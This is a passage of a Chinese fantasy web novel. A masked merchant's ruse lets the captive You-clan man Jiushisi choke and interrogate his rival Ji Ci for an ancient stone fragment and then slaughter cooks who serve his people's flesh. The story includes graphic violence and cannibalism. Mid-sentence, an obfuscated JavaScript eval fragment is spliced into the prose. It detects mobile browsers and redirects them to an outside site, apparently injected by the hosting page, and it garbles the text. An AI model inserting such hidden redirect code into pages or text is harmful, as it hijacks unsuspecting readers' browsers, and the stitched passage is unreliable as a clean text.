齐且柔鼻子里发出很轻的一声哼笑,似乎是在讽刺他是个中看不中用的银样镴枪头。 阮玉山也不跟他客气,直接喊道:“纪小老板,请坐。” 燕辞洲第二大黑市的主人,姓纪,叫纪慈——至少在燕辞洲是叫这个名字,就像阮玉山来了这里叫易三一样。 至于齐且柔么,只是一个化名之外的化名。 这一声“纪小老板”可把纪慈气得不轻。他站在原地,脸色青一阵白一阵,明晃晃地感觉自己收到了轻视与侮辱,却因自己先发夺人喊了易三老爷的名号而无法回击。 “不必了。”纪慈用拒绝的姿态表示自己的反击,“家中事忙,易三老爷有话请讲。” “哦?”阮玉山对此表示很感兴趣,“是忙着叫人埋伏在敬河河道以免错过下一批军火?” 敬河,便是数月前纪慈联络大渝一批水军在半路拦截阮玉山两船军火的地方。 一指天墟出了细作,有纪慈的内应。 纪慈提供军火经由的时间地点,渝军负责抢劫,阮玉山的人没有防备,被偷了两船货物不说,还被渝军偷袭杀了大半。 大抵是没料到阮玉山会发现此事背后有他捣鬼,纪慈脸色白完一阵又红一阵。毕竟军火贩卖在燕辞洲是很寻常的交易,为了避免对方生疑,他甚至这个月才把那批货物拿出来倒卖。 不过目前阮玉山并未拿出实证,纪慈要开口抵赖:“我听不懂您在说什……” 一语未了,被阮玉山抬手打断,示意他不用讲了:“听不懂就回去找个先生多看书认字,免得下次走错河道淹死在水里。” 阮玉山终于从手上的茶杯中抬起视线,朝自己身后挥了挥手。 小厮从屏风后将带着手脚镣铐的九十四推出来。 纪慈眼风扫过九十四身上的伤口,冷笑道:“您这是什么意思?” 阮玉山装模做样咳嗽了两声再缓缓起身走到纪慈身边,抬手拍了拍纪慈的肩:“听闻纪小老板前段日子不慎搞丢了一个蝣人,我便打发人给你寻了回来。” 纪慈正要开口辩驳,又被阮玉山打断。 “日后纪小老板多加小心呐,毕竟是命根子一般的生意。”阮玉山冲纪慈笑了笑,完全不给人说话的机会,“倘或再有下次,可就得纪小老板自己去寻了——或者来找我,我若是有空,也能帮帮。毕竟你找不到的人,我找到了;你卖不出的价,我也卖了;你唯一能做的生意,说不定哪天,一指天墟也做了。届时大家都是同行,如有不周,也得请你念在我此次送了蝣人多担待。” 纪慈一记眼刀飞向阮玉山,却只能看见这人脸上冰冷的银色面具。 “多谢易三老爷提醒。”他凉阴阴地盯着阮玉山的侧脸,咬着牙对身后的随从道,“拿着货,走。” 阮玉山放下手,从云岫手里接过擦手的锦帕,慢悠悠擦着刚刚摸过纪慈肩膀的手:“笼子在外头,慢走不送。” 纪慈带着九十□□风火火地走了。 人刚一走,阮玉山便丢了帕子,将披风解开,手套扯下来,对一旁小厮道:“火炉子撤下去——热死了。” 云岫给他倒了茶。 阮玉山接过茶杯,歪身坐在椅子里,靠着扶手笑道:“你说他这次回去,要把他身边的心腹换走几个?” 云岫摇头,表示自己无法猜测,只道:“只怕那日亲眼目睹阿四公子在他手下逃脱的人都会被他疑心是我们的眼线。” 阮玉山一声哂笑:“到底还是年轻。” 说起九十四,他又歪头凝神沉思了一会儿。 刚才是自己第一次在九十四面前戴上面具。 为此阮玉山还特地挑了所有面具中最好看的一个。 哪晓得九十四被人从屏风里推出来时看都不看他一眼,要么装得低眉顺眼,要么就伺机盯着齐且柔。 那他今天一身打扮岂不是白白便宜给齐且柔看了? 阮玉山心里很不高兴。 他左思右想,最终取下脸上的面具,在手心翻来覆去地看了看,忽然对自己产生了怀疑。 于是他举着面具问云岫:“我这面具不好看?” 云岫说:“好看。” 阮玉山:“那他怎么不看我?” 55.疑心 云岫自小在阮玉山身边长大,也算半个玩伴,此时只是面不改色地说:“阿四公子有正事。” 阮玉山上下打量他一遍:“你是越来越会说话了。” 云岫:“老爷教导有方。” 阮玉山笑了一声,同他也说起正事:“飞票换得如何了?” “燕辞洲内所有的现银都换成了娑婆各国的飞票,日后再渐次暗中兑成大祈的钱币,最后一批货也会在今晚卖场脱手。行李车马皆已备好。宅子里的人今日启程去码头,待您一走,我们留在洲内的暗线就去变卖地契。” 云岫顿了顿,又道:“还有一件事。” 阮玉山:“说。” 云岫:“席莲生,我们的人跟丢了。” “哦?”阮玉山挑眉,“果然丢了?” 他对此并不意外。 席莲生有蹊跷,因此他打发跟去的人是一定会跟丢的。 人留在易宅,阮玉山也做不到一天到晚把席莲生盯着,与其让他在眼皮子底下神不知鬼不觉地溜了,倒不如放出去看看在失踪的片刻能捕捉到什么蛛丝马迹。 阮玉山啜了口茶,问道:“怎么丢的,在哪丢的?” 云岫说道:“三天前,在燕辞洲往北的路上,一家过路客栈。丑时二刻,席莲生进了房门就再没任何动静。” 阮玉山思索道:“门窗如何?” “完好无损。”云岫说,“我们的人后一步在他隔壁进房,店前店后也安排了人手盯梢,自他关门就听不到任何动静。事后进他房中查看,也不见暗道机关。他既未出门,也不曾跳窗。好像只在进门的一瞬间……就消失了。” “知道了。”阮玉山放下茶杯,看了看屋里的刻香,“时候差不多了,纪慈这会儿走出一指天墟,你跟上吧。” 云岫拔腿便走:“是。” “欸,”阮玉山叫住他,补充道,“跟踪的时候不用刻意收敛玄息,让他们察觉到你的存在便是。纪慈为了甩开你,势必会叫人竭尽全力拖住你。届时你便缠着他们,不必下死手,但也不让他的人脱身,以免他们回去妨了阿四的事。” 云岫颔首:“我都知道。” 阮玉山起身,抓起一旁的披风,抖擞抖擞,自己也准备离开:“你去吧。对了,他的新衣裳,也一并收进行李了?” “收了。” 云岫走了。 如阮玉山所料,云岫跟上纪慈和对方身边的人时,九十四刚被塞进笼子带走。 此时天色已晚,纪慈用帷布遮住了笼子。才走出一指天墟没多久,刚要变道时,纪慈在原地顿住脚,冲自己斜后方的某个位置招了招手。 片刻后,云岫感知到了三道渐渐逼近的高阶玄气。 他止步在此,同对方缠斗起来。 而纪慈便趁机改了道,眨眼间同自己手下的人一起消失在分岔口。 纪慈此刻心情并不美妙。 他大半个月前到手的蝣人从自家地盘跑了,还是以把刀架在他脖子上、将他打得屁滚尿流的方式大摇大摆地跑的。 如今他拿不下的货物,被他一直一来视作对手的一指天墟拿下了。 不仅拿下,还借此机会把他摆了一道——这蝣人已经在一指天墟公开唱卖过,燕辞洲凡是混迹唱卖行的,不管顾客还是老板,都见过了九十四这张脸。 并且当着那么多人的面,这个蝣人在一指天墟以五十四万金的价格高调卖出去了。 现下蝣人到了他手上,过些日子再拿到他的地盘卖一遭,旁人怎么看他和在一指天墟匿名买下蝣人的那个主顾的关系姑且不论,同样的蝣人,在一指天墟能竞卖出五十四万金的天价,到了他手里,若是卖不出五十四万金,岂不是叫人看笑话? 可这世上只要不是疯子,压根没人会花五十四万金去买一个蝣人。 一指天墟能卖,那是他们监守自盗,想抬多高的价就抬多高的价。 他纪慈总不能对外公开说买下蝣人的天字第一号玉老爷就是易三老爷,到时候众人知道这蝣人是易三老爷送他的,被他转手卖了,还卖出个低于五十四万金的低价,岂不是更为人所不耻? 纪慈左思右想,越想越觉得易三这一招实在是狠毒。 这摆明了是在羞辱他! 到底是谁给一指天墟透露的消息,告诉一指天墟他那日弄丢了这个蝣人?! 思及此,纪慈眼神发冷,暗暗逡巡了一遍周遭的随从,看谁都像奸细,简直恨不得把所有人抓起来挨个拷打一遭。 待回到石室,他便一个也不肯留。 “都退下吧!”他带着赌气的语气命令道,“全部给我滚得远远的。” 石室中只剩笼子里沉默的九十四和纪慈。 纵然只过去短短半月,纪慈再一次把九十四困在石室里,心境却和上次大不相同了。 上次他看九十四是煮熟的鸭子,是赚钱的宝贝,现在他只觉得这个蝣人是烫手的山芋。 倘或非要赚钱,九十四也不是不能替他赚。 好歹是一个体型矫健,身体成熟的蝣人,就算是肢解了,论斤论两地割肉放血,拿到黑市去卖,那也能挣不少价钱。 可是纪慈心里恨,简直恨得牙痒痒——笼子里那么好的一张脸,不能让他拿去竞卖,在一指天墟那里过了一趟,再拿回来,就作废了! 他不能卖一指天墟卖过的人,那九十四这张脸还不如毁了!免得他看得见卖不出,唯有心烦。 纪慈绕过笼子走向悬挂满了刀具的墙壁,指尖拂过一排排样式各异的杀器。 他背对九十四,自顾自开口:“你说你,逃了便逃了,既然能从我手底下逃出去,怎么还叫他给拿住?逃出去晃荡一圈又回来,除了一身伤,又得到了什么?” 九十四低着头,乱糟糟的卷发遮住了他的脸,整个人安静得仿佛不存在。 纪慈冷哼一声,停住脚,终于挑到一把趁手的屠刀,将其从墙上拿下。 “倘或那日你在我手下束手就擒,本不用吃什么苦,还能洗洗干净享受一番极乐再死,这下好了——”他拿着刀突然转身,盯着静静坐在笼子里的人,眼神狠辣,步步逼近,“我也留你不得,也不推你上唱卖台了,你就在这,变成一斤一斤的人肉再出去吧。” 笼子里突然传来极其细微的“咔哒”声。 然而纪慈盛怒之下,完全没有留意到这个短暂的动静。 他打开笼子门,粗暴地拽出九十四,将九十四往那个宽大的沾满干涸血迹的石床——或者说是屠宰台上走去,接着,他听见九十四轻声问:“你不想知道,我那天怎么得到极乐的吗?” 纪慈隐约意识到不对,转过头:“什么——” 话音未落,九十四猛然抬起头,在纪慈愣神的当儿用双手绞飞了他手中的屠刀,随后举起两只胳膊,一把将手上锁链套上纪慈的脖子,再双臂交叉,将套锁死,随后拖着纪慈疾步冲向不远处的石台,将人一把摁在石台边缘。 这剧变来得太迅速,纪慈猝不及防被铁链勒紧了脖子,还没来得及挣扎,便又被拖拽向前,双脚乱了阵法,跟不上九十四的脚步,没两步便左脚绊右脚地双膝跪地,小腿摩擦着地面,一路被九十四带到石台前。 此时他已被铁链勒得面色赤红,呼吸不畅,才跪倒石台边,又被九十四抓着后脑勺猛地往台子上磕了一个响头。 “这里死过多少蝣人?” 九十四将手腕脱离已经被他用解磁石开锁的手铐,一手握紧绞住纪慈脖子的链条,一手按着纪慈的后脑,再度把对方的额头往石台重重一磕! 他在谈及族人的死亡时眼角不自觉地抽搐:“把你的头磕碎了,你数得清吗?” 纪慈被撞得眼冒金星,疯狂挣扎着想要解开脖子上的套索,喉咙间发出“嗬嗬”的吸气声,当再一次被九十四掌控着头颅撞到石床上时,他幻觉般的闻到一股淡雅的异香。 接着是九十四离他离得极近的脸。 他被强行地扭过头看向九十四,就算距离那么近,九十四那张冰雕玉刻一般的脸上也找不出任何瑕疵。 那股异香就此似有若无地缠绕在纪慈的鼻息间。 他的耳边嗡嗡作响,头颅阵阵不止的剧痛使纪慈认识到自己目前的处境——九十四在下死手地揍他,而且不打算让他活着出去。 他看着近在咫尺的那双瞳孔外包围着一圈淡蓝眼色的眼睛,听见九十四的声音宛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503491|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如耳边一缕轻飘飘的幽魂,渗着刺骨的寒意:“古卷残石,在哪?” 纪慈飞快地意识到这是自己目前唯一的生路。 他急促地指着自己的脖子,眼珠充血得快要爆开,指尖不断地敲击在脖颈处冰冷的铁链上,示意九十四先让他透一口气。 九十四又将他绞紧了些。 直到纪慈整个人脸色发紫,眼珠上翻,九十四才微微松开铁链,半是坐半是靠地挨着石台,仍维持着套住纪慈脖子的姿势,晃了晃手里的链子,就像在随意地拉扯脚下的一只牲畜。 纪慈乍然捡回条命,不管三七二十一,先吸了口气,喉咙嘶哑得仿佛筋脉被刮得稀碎,一口气咽不下去,反倒呛咳了一阵。 咳到一半,他忽感觉脖子处的锁链再次收紧。 “我说!我说!”纪慈匍匐到九十四脚下,抬起手,“我说……” 他从出生到现在还没吃过这种苦,被教训了一回,九十四再随便吓唬吓唬,他能把家底都给招了。 平心而论在看见石台上的血迹前九十四杀他的欲/望并不强烈,即便是现在,九十四也在考虑要不要放他一条生路——尽管眼前这个人一定杀过不少蝣人。 可这世上杀过蝣族的人太多了,没杀过的才是少数中的少数。蝣族在寻常人眼中不是人,是同人参熊掌山珍海味一样的补品,这风气在娑婆根深蒂固两百年,早已无人去辩论其中是非对错。 他在笼中尚且日日想方设法捕捉一些野雉飞鸟,它们的同类也不见来对蝣人报仇。 九十四再恨,也做不到把每一个沾染过蝣族血液的人都赶尽杀绝。 阮玉山告诉他,人要往上走,不能时时沉溺于过去的苦痛。 记恨会让人变得狭隘不堪,而阮玉山似乎一直在教他学会宽容。 再往前的深仇大恨,在纪慈这样的人身上,也追究不回来什么。 只要纪慈保证自己以后再也不打任何蝣人的主意,九十四觉得,自己兴许真的会放他一马呢。 他没有说,只先让纪慈带他去拿残石。 纪慈跌跌撞撞地从地上爬起来,身下湿了一片,膝盖软得又踉跄了两下才勉强站稳,随后腿肚子转筋,两脚打颤地带九十四往石室外走去。 九十四跟在他身后,手中仍牵着套在纪慈脖子上的铁链,发现这人如他所料,打开了石室后方那处深长暗道的门,似乎是要带他往出口走。 正当纪慈的手悄无声息错向机关旁边第二块砖石时,九十四将链子往回一拽,随后抬起胳膊死死卡住纪慈的下颌。 他比纪慈还要高些,因此纪慈被他挟制在胸前时,九十四只要微微往前探头,嘴唇就挨着纪慈的耳后。 他垂下眼,冷冷道:“不要耍花样。” 纪慈打了几个冷战。 他简直想不明白怎么有人的身体能冰冷成这样,又或是自己是在对九十四太过恐惧,靠近对方就像靠近了死亡,这使得九十四天然带着的那股淡淡的异香也让纪慈不寒而栗。 纪慈咽了口唾沫,断断续续道:“我不耍……那里,是放残石的地方。” 九十四半信半疑。 “我发誓。”纪慈恨不得立刻跳脱出九十四的双臂,他生平第一次感到美人怀中也并不是软玉温香,而是炼狱刀山,“你不信,你把我挡在前头。” “不用了。”九十四带着他走向那块砖石,“你来说,我来拿。” 纪慈双腿抖得早已失去知觉,只会麻木地在九十四的牵引下往前挪动。 他的额头不经意间碰到了九十四瘦削的下巴,浑身难以控制地又是一个寒战。 “往左数,第三块砖石,横着错开的那个,对……”他颤巍巍抬起手,指引着九十四,“往下按,再往左转一圈,往右转两圈,再按。” 墙壁后方隐约传来沉闷的齿轮滚动声。 轰隆隆—— 四块正正方方的砖石在眼前弹开,纪慈指着那里头道:“残石,就在墙内。” 九十四瞥了他一眼,对他道:“你先把手伸进去,碰到残石,再收回来——不要拿。” 他说完这话,九十四先在心里一愣:怎么这话听起来那么像阮玉山的口气? 56.屠杀 纪慈在他愣神的当头已经把手伸进匣子里。 九十四的眼睛比脑子更快,他脑子里想着阮玉山,眼睛看到了纪慈的动作,待纪慈把手伸进匣子时,他再命令道:“把残石抬起来——不要拿。” 纪慈抬起了里面的东西。 九十四又说:“放下,把手收回来。” 纪慈收回手。 九十四静候片刻,确定匣子中并未暗藏任何机关,才伸手进去拿到那片所谓的残石。 纪慈确实没有耍花招。 究其原因大概不是因为他不想耍,而是此时此刻发生的一切都太突然,他根本没有预料到当日那个满大街得罪商贩的愣头青似的蝣人能忍受如此屈辱,即便被一指天墟拿到卖场当场售卖也要跟易三合作。 蝣人的脑子就是实打实的木头,日复一日的囚笼生活让这个种族只会目光呆滞地等死,纪慈还没见过如此能屈能伸且头脑灵活的蝣人。 又或者,他从一开始就不理解蝣人。 总之身边林立的高手都因为今日易三的一句挑拨被他打发了出去,纪慈搬起石头砸自己的脚,此刻只能认栽。 九十四将残石拿到自己眼前。 这是一块巴掌大的瓦片,在灯下看,又仿佛琉璃。整块残石边缘崎岖,薄如蝉翼,最大的异样就是没有任何异样——甚至在残石片上见不到一个字。 如果扔在大街上,只有百十八这样的小孩会图好看捡起来回去给他养的小乌鸦做个窝。 他睨眼瞥向纪慈。 纪慈当即道:“我绝无欺瞒!这残石的主人前来典当时,言之凿凿,否则我也不会花大价钱买下,更何况——” 他眼睛微睁,抿了抿唇,忽道:“你不杀我,我告诉你蝣族的诅咒——该怎么解。” 这话像是触到九十四心里最紧绷的一根弦,他低下头,终于正眼看向纪慈。 “你说吧。”九十四说,“如若撒谎,我就杀了你。” 纪慈说:“你先发誓,不杀我。” 九十四:“你发誓说的是真的。” 纪慈:“我发誓。” 九十四别开脸:“我不杀你。” 纪慈:“你发誓!” 九十四不发誓:“我绝无虚言。” 纪慈:“那你发誓!” 九十四回头,一副对他恨铁不成钢,很烦他听不懂自己言下之意的模样:“发誓要慎重!” 纪慈愣了愣。 九十四看他还听不懂,只能直截了当地说:“你还不配!” 纪慈:“……” 九十四想了想,认为自己这话有些伤人,又道:“只要你说真话,我说了,不杀你,就是不杀。” 他见纪慈还在犹豫,又认为自己太给对方好脸,于是一扭头轻声道:“不说你就死吧。” 作势便要绞住手上的链子。 纪慈是真怕了方才被绞得屁滚尿流的窒息感,当即一不做二不休,豁出去道:“我说!” 他面对九十四实在是腿软得不行,只能在有限的行动范围内悄悄摸着墙壁靠住,屈着打颤的膝盖,咽了口唾沫,借机稍作休息:“来典当这块石头的,是当今无方门的掌门。” 九十四没听过这名字:“无方门?” 纪慈也看他一眼,似乎在为自己还要给这个无知的蝣人解释的事感到烦躁:“无方门,就是个以一招名叫‘金钩陷’的阵法闻名天下的门派。百年前无方门的掌门靠自己一套名叫金钩陷缚灵阵创立了这个门派,号称自己的金钩陷便是当年无相观音在沙佘关用三尖戟拿下蛇妖的阵法。” 这一说到沙佘关,再说到无相观音,九十四的脑子就连上纪慈的话头了——不久前阮玉山才给他讲过矿山那档子事儿,顺便就把这沙佘关的名字由来也告诉了他。 “然后呢?”九十四由审人变成了听故事。 纪慈对他投向莫名其妙的一瞥,考虑到九十四正掌控着自己的生杀大权,只能窝囊地接着讲:“我家里有点门道。” 他说:“其实百年前无方门创派人那套金钩陷,是来自一位神医所传授的掌法,就叫无方掌。” 九十四问:“这创派人骗了世人?” “没骗。” 纪慈看九十四脸色好些了,才敢大着胆子滑坐到地上,只是脖子上的锁链被拉扯得哗啦响。 “不管是无方掌还是金钩陷,都是真的,当年的掌门也从未隐瞒过。只是后世无方门的弟子们为了名声,刻意将无方掌的故事隐去,大肆发扬金钩陷的阵法,以此招徕门徒。奈何无方门的弟子一代比一代不争气,只继承了开山掌门的慈悲心肠,整日养着所有入门的弟子,却惰于修炼,门中近百年除了死守开山掌门的一套阵法,全然无人肯精进技艺,或在此之上开拓钻研想法子长远发展。整个门派走到如今,只剩表面风光,内里早已穷途末路。” 他指指九十四手里的残石片,因九十四承诺了不杀他,他便渐渐放下心来,语气也舒缓了几分:“这块残石,便是他们这一代的掌门,拿来我这里典当的。无方门如今门庭冷落入不敷出,只能靠变卖老祖宗留下的宝贝过活。” 纪慈瞅了瞅九十四,发现对方正开口打算问他什么,他便一挑眉毛,做出一副不自在的神色:“我知道你想问什么——你想问,为何这么个宝贝,人家不拿去你易三老爷那儿典当,反而来我这儿,是吧?” 他哼了一声,不忿道:“一指天墟生意做得大呀。什么奇珍异宝没有,顶了天的宝贝拿去一指天墟典当,也只会被你们的人鼻孔朝天地压价。同样的东西,拿到我这小门小户的地方,便是物以稀为贵,自然能得高价。” “他们不会鼻孔看人。”九十四握着铁链,平静地逐点反驳,“你愿意出高价,是因为你总想跟一指天墟在声望上比肩。因此同样稀有的东西,你宁可花费超出它原本价值的钱财也要拿到自己手里,再伺机广告众人。就是为了慢慢地向所有人证明,一指天墟能做的生意,你也能做,他们有的宝物,你也有。以此获得跟他们一样的威望。一指天墟做生意是为了生意,你做这桩生意,只是为了名声和地位。你与典当这块残石的人各有所需,不必拉一指天墟给自己当垫脚石。还有——我想问的不是这个。” 流利地说完一大段中土话对九十四而言其实是一件些许耗费心力的事,平日在宅子里,若非必要,他简直恨不得在阮玉山面前一个字代指一句话——反正不用他操心,就是不用吭声,阮玉山也怎么都听得懂他的意思。 可到了外头,九十四又恨不得把自己的意思掰开了揉碎了同这些人交流,半点不愿意停顿或是露怯,仿佛流畅说话的能力也代表了他的一份尊严。 纪慈的脸色跟着九十四戳破他的话变了又变,听到最后一句险些翻白眼,没好气地问:“那你想问什么?” 九十四还是更关心无相观音:“你说无方门的创派人没有撒谎,那他的金钩陷阵法,当真是无相观音当年用来捉拿沙佘关的蛇妖的?” “据现在的掌门所言,这是真的。”纪慈说到这儿,又打量九十四,“你说你不杀我,绝对作数?” 九十四垂眼看着他:“撒谎也需要慎重。” 下半句话他没说了。 纪慈也不问了。 问就是自取其辱——因为九十四必定会说他不配。 纪慈并没有在九十四面前讨骂的癖好。 他抿了抿唇,说道:“当年无方门的创派掌门,曾进过这块盂兰残石之中,并且从里面拿出了一样东西。” 九十四问:“什么东西?” “一个铃鼓。”纪慈抬头,对九十四道,“那便是解除蝣人诅咒的关键。” 九十四愣道:“什么?” 纪慈低头:“你不用看我,无方门来典当的掌门为了让我相信这是真正的古卷残石,就说了那么多。再多的,他也不知道了。” 他解脱般地松了口气,撑着墙壁企图站起来,边起边道:“我后来也去打听过一些消息。燕辞洲门道深,倒是确有些关于古卷的传闻,据说这世间的残石不止一块,有的不知所踪,有的流落到各大世家或江湖门派手中。其中还有一块,是残石的告灵卷,就在红州——” “州”字还没脱口,纪慈突然陷入了沉默。 并且维持着才从地上起身的姿势,垂头靠墙,一动不动。 九十四正等他下文,见他话头中止,等待片刻还不见纪慈吱声,便问:“红什么?” 纪慈仍是没有说话。 九十四皱眉,顿时察觉不对,当即拽了拽手里的锁链。 纪慈轰然朝旁边倒下。 九十四上前拨开他脸上的头发,只见纪慈神情呆滞,双唇微张,显然是一个还在说话的神态。 然而瞳孔却已经放大了。 九十四伸手到纪慈鼻下。 纪慈没有呼吸了。 他摸了摸纪慈的皮肤和身体,不过短短一瞬,这个人皮肤已然十分冰冷,并且身体在快速僵硬。 九十四莫名冒出一个怪异的想法。 纪慈也许早就死了。 他撤走手上的手链,将纪慈的尸身扛起来,在石室前后两道门之间稍作犹豫,最后选择走向那条长长的甬道。 石室另一道门打开后是纪慈的卖场,九十四记得阮玉山同他讲过,为了跟一指天墟争生意,纪慈的卖场永远都会选择跟一指天墟在同一天开张。 他无法保证另一道门打开后的卖场中会有多少人,又会发生什么情况。 如若石室后的卖场高朋满座,那维护卖场秩序的高手也不会少。 目前来看,前方这条甬道才是最安全的出路。 至少九十四知道被纪慈赶到这条甬道外的侍从有几个,是什么模样。 他摸出靴筒中的匕首,以防先前被纪慈赶走的人守在门口,依照自己的记忆打开石室的机关,伪装出纪慈只是晕倒的模样,将纪慈的胳膊放在自己肩上,环住人的腰,将人半是抱半是拖地带出去。 奇怪的是,一路到头,也不见一个侍从。 九十四拖着纪慈走到暗室口,将纪慈放在地道里,自己先从石墨的暗门中钻出来。 天已彻底黑了。 他一眼看见那个门窗紧闭的厨房。 厨房前方的食肆仍旧热闹,人声鼎沸,喧哗声毫无遮掩地传到这处后院。 不知是否是九十四今夜没吃晚饭的缘故,从厨房门缝中渗出来的香气比上次更为浓烈,更叫人闻后饥肠辘辘。 他站在石墨前有些迷茫了。 阮玉山将今夜的一切提前规划得太好,甚至连离间纪慈和侍从的每一句话都安排得恰到好处,这使得九十四今夜的行动十分顺利,很快便拿到了残石,以至于阮玉山无法在那么短的时间内赶来跟他汇合。 九十四回头对着地道口的纪慈尸身陷入沉思,正考虑是否把人拖出来,再想些法子吸引这里的人来到此处——说不准纪慈家中有什么高人,还能将纪慈再救一救。 他虽憎恶纪慈行事的种种手段,但也认为自己既然答应了纪慈不下杀手,便还是有几分责任要保住纪慈一条性命。 纵然纪慈并非死在他的刀下,但就这么看着人活生生地变作一具尸体,九十四也难以完全的无动于衷。 就在此时,厨房的门吱呀一声打开了。 他下意识窜到石墨后方的房柱边寻找掩护,同时微微探头,观测门口的情况。 从门内走出一个粗布麻衣满脸横肉的汉子,像是这里的厨子。 汉子手上提着一个血迹斑斑的木桶,另一只手拿的却并非做菜的屠刀,而是一把极长极大的锯子。 九十四蹙了蹙眉。 这锯子他在饕餮谷见过。 至于是切割什么的,他不愿再做回忆。总之如果只是寻常的家禽牲畜,绝对用不到此等工具。 想到这里,九十四隐约意识到厨房中在做什么。 他体内油然生出一种久违的反胃和恶寒,当即喉间一紧,强行压制住自己腹中的恶心,盯着厨房外那个汉子的一举一动。 对方从木桶里捞出一大把血淋淋的头发,装到随身携带的油纸袋中。 随后又从桶中捞出一把。 直到木桶里的头发装满了那个巨大的油纸袋,汉子才把袋子口用麻绳一栓,走到角落黑暗中的一棵树下,将其丢在墙角。 九十四的目光追随过去,看见墙角放了许多个这样的油纸袋。 蝣人的头发总是留得很长。 他们骨珠的玄气太过充沛,需要各种各样的方法分散在身体各处。 头发、指甲,这些东西长得越长,越能替他们的肉身吸收一部分多余的玄气。 可是指甲长了总不方便,蝣人也不愿承认自己是不修边幅的野兽,因此他们总是留一头长长的头发,为了自救想方设法地做着这些细枝末节的努力。 然后他们的头发就成为了今日厨房砧板上多余的累赘。 九十四死死抓着房柱,指尖抠进木头里,还是没抑制住那一声反呕。 正从院子里回到厨房的大汉捕捉到这短暂的有一点动静,冲九十四的方位喝道:“谁?!” 九十四从兜里摸出一块石头砸向石墨的暗道口。 那汉子果然先去了石墨前,发现了纪慈的尸身。 九十四听见对方吸了一口冷气,愕然道:“少主?!” 厨房里又有人听见动静探出身来:“福子,怎么了?” “你过来……”石墨前的人嗓音哆嗦起来,“你看看,这是不是少主……” 厨房里的人哎哟一声,赶紧跑到石墨前。 九十四握紧了手中匕首,从反方向绕过房柱,悄无声息走到他二人身后,看着身下两颗凑在一起观察纪慈尸体 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九十四用袖子擦干净刀背,面色平静地朝厨房迈步,缓缓走进这个充满香气的屋子,再关上门,安上门闩,转身一看,数了数,屋子里四个灶,蒸煮煎烤样样齐全,统共还剩三个厨子,两个看灶,一个剁肉。 角落里放着一个半人高的笼子,里面有个神色麻木的小蝣人,听着满屋子的屠宰声,神情呆滞。 此时终于有一个人注意到九十四的到来。 那人伸手指着他,警觉道:“你是谁?” 九十四的刀很快,非常快。 他的脚更快。 快到这个人还没说完短短的三个字,九十四已经来到他的眼前,捅破了他的喉管。 蝣人的杀戮是寂静的。 如同他们百年来被世人漠视的死亡。 九十四没给这里的任何一个屠夫求饶、反抗或是呼救的机会。 他的刀尖像突如其来穿破窗户纸席卷到此的一场风,当他们感受到这场名为九十四的刀风时,风已经穿过他们的身体了。 最后他来到屋子里仅剩的一个笼子前,打开笼门,用自己尚未丢弃的解磁石解开了笼子里这个小蝣人的手脚镣铐,用蝣语问道:“你叫什么名字?” 小蝣人看着九十四,似乎还没从这场反杀中回神,直到他对上九十四那双淡蓝色的眼睛,听见九十四再一次用熟悉的蝣语重复着刚才的话,他麻木的神色终于有了波动。 他怔怔地望着九十四,张合着干裂的嘴唇,用沙哑的声音木讷地问:“凤神?” 蝣人没有权力屠杀任何一个笼子外的人。 能替他们报仇的,只有他们睡梦中日复一日祈求庇护自己能活过明天的古神。 于是小蝣人的视线在九十四脸上逡巡着,他看着这张完全不同于自己的疲惫、困苦和肮脏的脸,以为蝣人的古神终于在他们饱受追杀的两百年后降临了。 九十四知道凤神。 每一个蝣人都知道。 那是他们口口相传数百年庇佑他们世世代代强大、长寿、快乐的古神。 九十四更知道,这只是一个蝣族捏造出来的虚假神话。 他将小蝣人带出笼子,顺手拿起灶边一碗干净的水——兴许是屠夫自己喝的,兴许是他们用来洗什么东西的,都不重要了,九十四把水塞进小蝣人的手中,低声道:“别怕——以后都别怕了。” 小蝣人眨着眼睛仰视着他,又看了看手里的水,最后张着嘴,仰头把水喝了个干净,几乎恨不得把碗也嚼进肚子里。 与此同时,九十四往门外看了一眼。 有人来了。 他垂下眼,走到门边,对小蝣人做了个不要说话的姿势,独自站在那里等待着。 俄顷,一阵敲门声传来。 小蝣人蹲下身,下意识躲回笼子。九十四则握住匕首,抽出门闩打开门,随后飞快地伸出手,将门外的人抓了进来。 托盘和碗盏齐刷刷滚落到地上,撞击声、破碎声不约而同响起,伴随着女子的尖叫。 九十四把人拎到自己眼前,才发现敲门的是个尚未及笄的女娃娃,虽然个子较高,但脸太稚嫩,不过十二三岁。 他没给对方思考的机会,只低着头冷声问道:“打杂的?” 女娃娃左右看看,被遍地尸首吓得惊慌失措,连话也不会说,只能连连点头。 九十四又问:“吃过这里的肉吗?” 女娃娃摇头:“……我没资格。” 九十四往食肆前厅的方向示意:“那里头的人,全是来吃肉的?” 女娃娃又点头。 “他们知道自己吃的是蝣人肉?” 女娃脸上犹豫一瞬,九十四轻轻歪头:“嗯?” 她浑身颤抖,忙不迭点头。 九十四放开了她:“你随我出去,待会儿什么别说,什么也别做,我不杀你——拿上你的盘子,要装什么菜,统统装上。” 新一轮热乎的蝣人肉上上桌了。 此时是酉时三刻。 整个食肆觥筹交错,人们酒过三巡时,从后院中蓦然吹来一阵沁骨的寒风,吹醒了一部分已经喝过一轮的顾客。 带他们再要上酒时,却迟迟不见小二前来招待。 有的人对此不满,嘟嘟囔囔两句也就罢了;有的人开始左顾右盼,高声斥责;有的人则骂骂咧咧,不满的情绪愈演愈烈。 喧闹间只见一个瘦削高挑的身影走到大门前,挨个关上了食肆的板门,再转过身,像卖场中的人一样对他们拍拍手,示意他们安静下来:“诸位——” 众人朝门前看去。 此人一身撕扯得略显褴褛的素净衣袍,衣裳虽破,明眼人却一眼瞧得出是上好的料子,衣服颜色素净,光泽却明亮柔和,只是半边身体都溅上了不明红色液迹,连带着那张有几分异域风情的美人脸,自眼角到下颌也是红水斑斑,看在旁人眼中,颇有几丝邪性的妖艳。 九十四将这食肆里的每一个人都细细扫视了一遍,果不其然在人群中看到了被纪慈赶走的几个侍从,他们此时已喝得烂醉,连他也认不出来。 接着他开口:“我是饕餮谷的蝣人九十四。” 